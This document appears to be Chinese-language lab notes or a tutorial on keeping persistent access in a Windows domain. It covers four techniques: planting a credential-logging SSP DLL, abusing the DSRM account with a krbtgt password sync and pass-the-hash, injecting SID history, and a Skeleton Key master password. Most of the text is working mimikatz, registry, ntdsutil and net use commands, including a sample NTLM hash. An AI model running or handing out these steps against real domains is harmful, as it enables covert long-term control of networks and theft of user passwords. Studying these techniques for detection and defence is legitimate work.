目录
案例一:内网域-权限维持-基于验证 DLL 加载-SSP
案例二:内网域-权限维持-基于机制账号启用-DSRM
案例三: 内网域-权限维持-基于用户属性修改-SID-history
案例四:内网域-权限维持-基于登录进程劫持-Skeleton-Key
案例一:内网域-权限维持-基于验证 DLL 加载-SSP
一共有两种方式,两种方式呢,第一种借助mimikatz,但是重启后会失效,第二种呢借助的是mimikatz种的mimilib.dll文件,但是必须重启才能生效
第一种方式,执行下面的命令
privilege::debugmisc::memssp
执行以后注销,注意不是重启,在c:/windows/system32/mimilsa.log文件种会出现账号密码保存
重启之后再输入不会更新
第二种
经过实验发现移动dll文件必须是x64位的
将mimilib.dll文件移动到c:/windows/system32下
修改注册表重启生效
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
#查看注册表reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
#设置将mimilib导入
powershell中运行
执行完成以后注册表里面会加入对应的值
cs中执行,好像shell就可以执行powershell命令
密码会保存在下面这个文件中
c:\windows\system32\kiwissp.log
真实的环境是建议两种方式一起运行
案例二:内网域-权限维持-基于机制账号启用-DSRM
利用系统自带机制模式DSRM,修改DSRM默认登录方式和属性,通过其同步krbtgt进行PTH攻击,实现持续化控制,但适用于系统=>windows server2008。每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。
整个操作都是在域控主机上实验
krbtgt用户是Kerberos协议中的一个特殊用户账号,由系统自动生成,用于Kerberos认证过程中的票据签发。
drsm是域还原模式的密码
获取krbtgt的ntml hash
privilege::debug
lsadump::lsa /patch /name:krbtgt #获取krbtgt的hash,通过实验发现这里可以用任何用户
token::elevate #提升权限
lsadump::sam #保存hash
dsrm&krbtgt&NTLM hash同步
#进入ntdsutil
ntdsutil
#修改DSRM的密码
set DSRM password
#使DSRM的密码和指定域用户的密码同步 eg:sync from domain account [域用户名]
sync from domain account krbtgt
#退出
按两次q即可退出(第1次:退出DSRM密码设置模式;第2次退出ntdsutil)
要保证密码未过期
管理员用户的ntlm变成与krbtgt一致了
修改drsm的登录方式,2为允许远程登陆
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
利用hash进行攻击
privilege::debug
sekurlsa::pth /domain:owa2010cn-god /user:administrator /ntlm:b097d7ed97495408e1537f706c357fc5
dir \\owa2010cn-god\c$
读取文件
案例三: 内网域-权限维持-基于用户属性修改-SID-history
这个实验必须在域控中进行
利用命令查看name,sid
shell wmic useraccount get name,sid
sid里面只有后四位有区别,500多是高权限用户,1000多则为普通用户
通过powershell命令获取某一个用户的sid
Import-Module ActiveDirectory
Get-ADUser webadmin -Properties sidhistory
给与webadmin用户admin权限
privilege::debug
sid::patch
sid::add /sam:webadmin /new:administrator
再次查看会发现多了一个historysid值
webadmin用户就可以成功访问,这里不太清除为什么又要用ip才能够成功
而别的用户无法访问
利用命令查看webadmin时他还是1000多的sid
案例四:内网域-权限维持-基于登录进程劫持-Skeleton-Key
开启万能密码的方式,这个命令时在域控中输入并开启的
privilege::debug
misc::skeleton
正常普通用户利用ipc建立连接
域控中开启万能密码后(必须使用x64位的mimikatz,才能成功)
这个时候mary用户利用mimikatz建立连接成功 ,这里好像是只能写主机名才可以
net use \\owa2010cn-god\ipc$ "mimikatz" /user:god\administrator
dir访问文件夹